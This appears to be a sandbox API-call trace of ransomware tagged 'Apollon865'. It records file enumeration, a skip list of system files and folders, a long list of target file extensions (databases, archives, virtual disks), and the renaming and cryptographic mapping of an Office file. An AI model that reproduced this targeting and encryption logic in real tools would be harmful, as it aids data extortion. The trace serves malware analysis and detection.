	[0066.754] lstrlenW (lpString="xmlff") returned 5
	[0066.754] lstrcmpiW (lpString1="Z.POC", lpString2="xmlff") returned 1
	[0066.754] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x24f44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CATWIZ11.POC", cAlternateFileName="")) returned 1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2=".") returned 1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="..") returned 1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="windows") returned -1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="bootmgr") returned 1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="temp") returned -1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="pagefile.sys") returned -1
	[0066.754] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="boot") returned 1
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="ids.txt") returned -1
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="ntuser.dat") returned -1
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="perflogs") returned -1
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2="MSBuild") returned -1
	[0066.755] lstrlenW (lpString="CATWIZ11.POC") returned 12
	[0066.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC") returned 60
	[0066.755] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CATWIZ11.POC" | out: lpString1="CATWIZ11.POC") returned="CATWIZ11.POC"
	[0066.755] lstrlenW (lpString="CATWIZ11.POC") returned 12
	[0066.755] lstrlenW (lpString="Apollon865") returned 10
	[0066.755] lstrcmpiW (lpString1="TWIZ11.POC", lpString2="Apollon865") returned 1
	[0066.755] lstrlenW (lpString=".dll") returned 4
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2=".dll") returned 1
	[0066.755] lstrlenW (lpString=".lnk") returned 4
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2=".lnk") returned 1
	[0066.755] lstrlenW (lpString=".ini") returned 4
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2=".ini") returned 1
	[0066.755] lstrlenW (lpString=".sys") returned 4
	[0066.755] lstrcmpiW (lpString1="CATWIZ11.POC", lpString2=".sys") returned 1
	[0066.755] lstrlenW (lpString="CATWIZ11.POC") returned 12
	[0066.755] lstrlenW (lpString="bak") returned 3
	[0066.755] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.755] lstrlenW (lpString="ba_") returned 3
	[0066.755] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.755] lstrlenW (lpString="dbb") returned 3
	[0066.755] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.755] lstrlenW (lpString="vmdk") returned 4
	[0066.755] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.755] lstrlenW (lpString="rar") returned 3
	[0066.755] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.755] lstrlenW (lpString="zip") returned 3
	[0066.755] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.755] lstrlenW (lpString="tgz") returned 3
	[0066.755] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.755] lstrlenW (lpString="vbox") returned 4
	[0066.755] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.755] lstrlenW (lpString="vdi") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.756] lstrlenW (lpString="vhd") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.756] lstrlenW (lpString="vhdx") returned 4
	[0066.756] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.756] lstrlenW (lpString="avhd") returned 4
	[0066.756] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.756] lstrlenW (lpString="db") returned 2
	[0066.756] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.756] lstrlenW (lpString="db2") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.756] lstrlenW (lpString="db3") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.756] lstrlenW (lpString="dbf") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.756] lstrlenW (lpString="mdf") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.756] lstrlenW (lpString="mdb") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.756] lstrlenW (lpString="sql") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.756] lstrlenW (lpString="sqlite") returned 6
	[0066.756] lstrcmpiW (lpString1="11.POC", lpString2="sqlite") returned -1
	[0066.756] lstrlenW (lpString="sqlite3") returned 7
	[0066.756] lstrcmpiW (lpString1="Z11.POC", lpString2="sqlite3") returned 1
	[0066.756] lstrlenW (lpString="sqlitedb") returned 8
	[0066.756] lstrcmpiW (lpString1="IZ11.POC", lpString2="sqlitedb") returned -1
	[0066.756] lstrlenW (lpString="xml") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.756] lstrlenW (lpString="$er") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.756] lstrlenW (lpString="4dd") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.756] lstrlenW (lpString="4dl") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.756] lstrlenW (lpString="^^^") returned 3
	[0066.756] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.757] lstrlenW (lpString="abs") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.757] lstrlenW (lpString="abx") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.757] lstrlenW (lpString="accdb") returned 5
	[0066.757] lstrcmpiW (lpString1="1.POC", lpString2="accdb") returned -1
	[0066.757] lstrlenW (lpString="accdc") returned 5
	[0066.757] lstrcmpiW (lpString1="1.POC", lpString2="accdc") returned -1
	[0066.757] lstrlenW (lpString="accde") returned 5
	[0066.757] lstrcmpiW (lpString1="1.POC", lpString2="accde") returned -1
	[0066.757] lstrlenW (lpString="accdr") returned 5
	[0066.757] lstrcmpiW (lpString1="1.POC", lpString2="accdr") returned -1
	[0066.757] lstrlenW (lpString="accdt") returned 5
	[0066.757] lstrcmpiW (lpString1="1.POC", lpString2="accdt") returned -1
	[0066.757] lstrlenW (lpString="accdw") returned 5
	[0066.757] lstrcmpiW (lpString1="1.POC", lpString2="accdw") returned -1
	[0066.757] lstrlenW (lpString="accft") returned 5
	[0066.757] lstrcmpiW (lpString1="1.POC", lpString2="accft") returned -1
	[0066.757] lstrlenW (lpString="adb") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.757] lstrlenW (lpString="adb") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.757] lstrlenW (lpString="ade") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.757] lstrlenW (lpString="adf") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.757] lstrlenW (lpString="adn") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.757] lstrlenW (lpString="adp") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.757] lstrlenW (lpString="alf") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.757] lstrlenW (lpString="ask") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.757] lstrlenW (lpString="btr") returned 3
	[0066.757] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.758] lstrlenW (lpString="cat") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.758] lstrlenW (lpString="cdb") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.758] lstrlenW (lpString="ckp") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.758] lstrlenW (lpString="cma") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.758] lstrlenW (lpString="cpd") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.758] lstrlenW (lpString="dacpac") returned 6
	[0066.758] lstrcmpiW (lpString1="11.POC", lpString2="dacpac") returned -1
	[0066.758] lstrlenW (lpString="dad") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.758] lstrlenW (lpString="dadiagrams") returned 10
	[0066.758] lstrcmpiW (lpString1="TWIZ11.POC", lpString2="dadiagrams") returned 1
	[0066.758] lstrlenW (lpString="daschema") returned 8
	[0066.758] lstrcmpiW (lpString1="IZ11.POC", lpString2="daschema") returned 1
	[0066.758] lstrlenW (lpString="db-journal") returned 10
	[0066.758] lstrcmpiW (lpString1="TWIZ11.POC", lpString2="db-journal") returned 1
	[0066.758] lstrlenW (lpString="db-shm") returned 6
	[0066.758] lstrcmpiW (lpString1="11.POC", lpString2="db-shm") returned -1
	[0066.758] lstrlenW (lpString="db-wal") returned 6
	[0066.758] lstrcmpiW (lpString1="11.POC", lpString2="db-wal") returned -1
	[0066.758] lstrlenW (lpString="dbc") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.758] lstrlenW (lpString="dbs") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.758] lstrlenW (lpString="dbt") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.758] lstrlenW (lpString="dbv") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.758] lstrlenW (lpString="dbx") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.758] lstrlenW (lpString="dcb") returned 3
	[0066.758] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.759] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.759] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.759] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.759] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CERT.DPV" | out: lpString1="CERT.DPV") returned="CERT.DPV"
	[0066.759] lstrlenW (lpString="CERT.DPV") returned 8
	[0066.759] lstrlenW (lpString="Apollon865") returned 10
	[0066.759] lstrlenW (lpString=".dll") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.DPV", lpString2=".dll") returned 1
	[0066.759] lstrlenW (lpString=".lnk") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.DPV", lpString2=".lnk") returned 1
	[0066.759] lstrlenW (lpString=".ini") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.DPV", lpString2=".ini") returned 1
	[0066.759] lstrlenW (lpString=".sys") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.DPV", lpString2=".sys") returned 1
	[0066.759] lstrlenW (lpString="CERT.DPV") returned 8
	[0066.759] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CERT.XML" | out: lpString1="CERT.XML") returned="CERT.XML"
	[0066.759] lstrlenW (lpString="CERT.XML") returned 8
	[0066.759] lstrlenW (lpString="Apollon865") returned 10
	[0066.759] lstrlenW (lpString=".dll") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.XML", lpString2=".dll") returned 1
	[0066.759] lstrlenW (lpString=".lnk") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.XML", lpString2=".lnk") returned 1
	[0066.759] lstrlenW (lpString=".ini") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.XML", lpString2=".ini") returned 1
	[0066.759] lstrlenW (lpString=".sys") returned 4
	[0066.759] lstrcmpiW (lpString1="CERT.XML", lpString2=".sys") returned 1
	[0066.759] lstrlenW (lpString="CERT.XML") returned 8
	[0066.760] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML.Apollon865") returned 69
	[0066.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.761] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5898) returned 1
	[0066.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0066.762] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0066.762] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.762] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.763] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a10, lpName=0x0) returned 0xc0
	[0066.765] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a10) returned 0x100000
	[0066.766] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.766] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.766] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.767] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.767] CloseHandle (hObject=0xc0) returned 1
	[0066.767] CloseHandle (hObject=0x15c) returned 1
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0066.767] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0066.768] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x11b82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CERT98.POC", cAlternateFileName="")) returned 1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2=".") returned 1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="..") returned 1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="windows") returned -1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="bootmgr") returned 1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="temp") returned -1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="pagefile.sys") returned -1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="boot") returned 1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="ids.txt") returned -1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="ntuser.dat") returned -1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="perflogs") returned -1
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2="MSBuild") returned -1
	[0066.768] lstrlenW (lpString="CERT98.POC") returned 10
	[0066.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML") returned 58
	[0066.768] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CERT98.POC" | out: lpString1="CERT98.POC") returned="CERT98.POC"
	[0066.768] lstrlenW (lpString="CERT98.POC") returned 10
	[0066.768] lstrlenW (lpString="Apollon865") returned 10
	[0066.768] lstrlenW (lpString=".dll") returned 4
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2=".dll") returned 1
	[0066.768] lstrlenW (lpString=".lnk") returned 4
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2=".lnk") returned 1
	[0066.768] lstrlenW (lpString=".ini") returned 4
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2=".ini") returned 1
	[0066.768] lstrlenW (lpString=".sys") returned 4
	[0066.768] lstrcmpiW (lpString1="CERT98.POC", lpString2=".sys") returned 1
	[0066.768] lstrlenW (lpString="CERT98.POC") returned 10
	[0066.769] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CERT98SP.POC" | out: lpString1="CERT98SP.POC") returned="CERT98SP.POC"
	[0066.769] lstrlenW (lpString="CERT98SP.POC") returned 12
	[0066.769] lstrlenW (lpString="Apollon865") returned 10
	[0066.769] lstrcmpiW (lpString1="RT98SP.POC", lpString2="Apollon865") returned 1
	[0066.769] lstrlenW (lpString=".dll") returned 4
	[0066.769] lstrcmpiW (lpString1="CERT98SP.POC", lpString2=".dll") returned 1
	[0066.769] lstrlenW (lpString=".lnk") returned 4
	[0066.769] lstrcmpiW (lpString1="CERT98SP.POC", lpString2=".lnk") returned 1
	[0066.769] lstrlenW (lpString=".ini") returned 4
	[0066.769] lstrcmpiW (lpString1="CERT98SP.POC", lpString2=".ini") returned 1
	[0066.769] lstrlenW (lpString=".sys") returned 4
	[0066.769] lstrcmpiW (lpString1="CERT98SP.POC", lpString2=".sys") returned 1
	[0066.769] lstrlenW (lpString="CERT98SP.POC") returned 12
	[0066.769] lstrlenW (lpString="bak") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.769] lstrlenW (lpString="ba_") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.769] lstrlenW (lpString="dbb") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.769] lstrlenW (lpString="vmdk") returned 4
	[0066.769] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.769] lstrlenW (lpString="rar") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.769] lstrlenW (lpString="zip") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.769] lstrlenW (lpString="tgz") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.769] lstrlenW (lpString="vbox") returned 4
	[0066.769] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.769] lstrlenW (lpString="vdi") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.769] lstrlenW (lpString="vhd") returned 3
	[0066.769] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.769] lstrlenW (lpString="vhdx") returned 4
	[0066.770] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.770] lstrlenW (lpString="avhd") returned 4
	[0066.770] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.770] lstrlenW (lpString="db") returned 2
	[0066.770] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.770] lstrlenW (lpString="db2") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.770] lstrlenW (lpString="db3") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.770] lstrlenW (lpString="dbf") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.770] lstrlenW (lpString="mdf") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.770] lstrlenW (lpString="mdb") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.770] lstrlenW (lpString="sql") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.770] lstrlenW (lpString="sqlite") returned 6
	[0066.770] lstrcmpiW (lpString1="SP.POC", lpString2="sqlite") returned -1
	[0066.770] lstrlenW (lpString="sqlite3") returned 7
	[0066.770] lstrcmpiW (lpString1="8SP.POC", lpString2="sqlite3") returned -1
	[0066.770] lstrlenW (lpString="sqlitedb") returned 8
	[0066.770] lstrcmpiW (lpString1="98SP.POC", lpString2="sqlitedb") returned -1
	[0066.770] lstrlenW (lpString="xml") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.770] lstrlenW (lpString="$er") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.770] lstrlenW (lpString="4dd") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.770] lstrlenW (lpString="4dl") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.770] lstrlenW (lpString="^^^") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.770] lstrlenW (lpString="abs") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.770] lstrlenW (lpString="abx") returned 3
	[0066.770] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.771] lstrlenW (lpString="accdb") returned 5
	[0066.771] lstrcmpiW (lpString1="P.POC", lpString2="accdb") returned 1
	[0066.771] lstrlenW (lpString="accdc") returned 5
	[0066.771] lstrcmpiW (lpString1="P.POC", lpString2="accdc") returned 1
	[0066.771] lstrlenW (lpString="accde") returned 5
	[0066.771] lstrcmpiW (lpString1="P.POC", lpString2="accde") returned 1
	[0066.771] lstrlenW (lpString="accdr") returned 5
	[0066.771] lstrcmpiW (lpString1="P.POC", lpString2="accdr") returned 1
	[0066.771] lstrlenW (lpString="accdt") returned 5
	[0066.771] lstrcmpiW (lpString1="P.POC", lpString2="accdt") returned 1
	[0066.771] lstrlenW (lpString="accdw") returned 5
	[0066.771] lstrcmpiW (lpString1="P.POC", lpString2="accdw") returned 1
	[0066.771] lstrlenW (lpString="accft") returned 5
	[0066.771] lstrcmpiW (lpString1="P.POC", lpString2="accft") returned 1
	[0066.771] lstrlenW (lpString="adb") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.771] lstrlenW (lpString="adb") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.771] lstrlenW (lpString="ade") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.771] lstrlenW (lpString="adf") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.771] lstrlenW (lpString="adn") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.771] lstrlenW (lpString="adp") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.771] lstrlenW (lpString="alf") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.771] lstrlenW (lpString="ask") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.771] lstrlenW (lpString="btr") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.771] lstrlenW (lpString="cat") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.771] lstrlenW (lpString="cdb") returned 3
	[0066.771] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.771] lstrlenW (lpString="ckp") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.772] lstrlenW (lpString="cma") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.772] lstrlenW (lpString="cpd") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.772] lstrlenW (lpString="dacpac") returned 6
	[0066.772] lstrcmpiW (lpString1="SP.POC", lpString2="dacpac") returned 1
	[0066.772] lstrlenW (lpString="dad") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.772] lstrlenW (lpString="dadiagrams") returned 10
	[0066.772] lstrcmpiW (lpString1="RT98SP.POC", lpString2="dadiagrams") returned 1
	[0066.772] lstrlenW (lpString="daschema") returned 8
	[0066.772] lstrcmpiW (lpString1="98SP.POC", lpString2="daschema") returned -1
	[0066.772] lstrlenW (lpString="db-journal") returned 10
	[0066.772] lstrcmpiW (lpString1="RT98SP.POC", lpString2="db-journal") returned 1
	[0066.772] lstrlenW (lpString="db-shm") returned 6
	[0066.772] lstrcmpiW (lpString1="SP.POC", lpString2="db-shm") returned 1
	[0066.772] lstrlenW (lpString="db-wal") returned 6
	[0066.772] lstrcmpiW (lpString1="SP.POC", lpString2="db-wal") returned 1
	[0066.772] lstrlenW (lpString="dbc") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.772] lstrlenW (lpString="dbs") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.772] lstrlenW (lpString="dbt") returned 3
	[0066.772] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
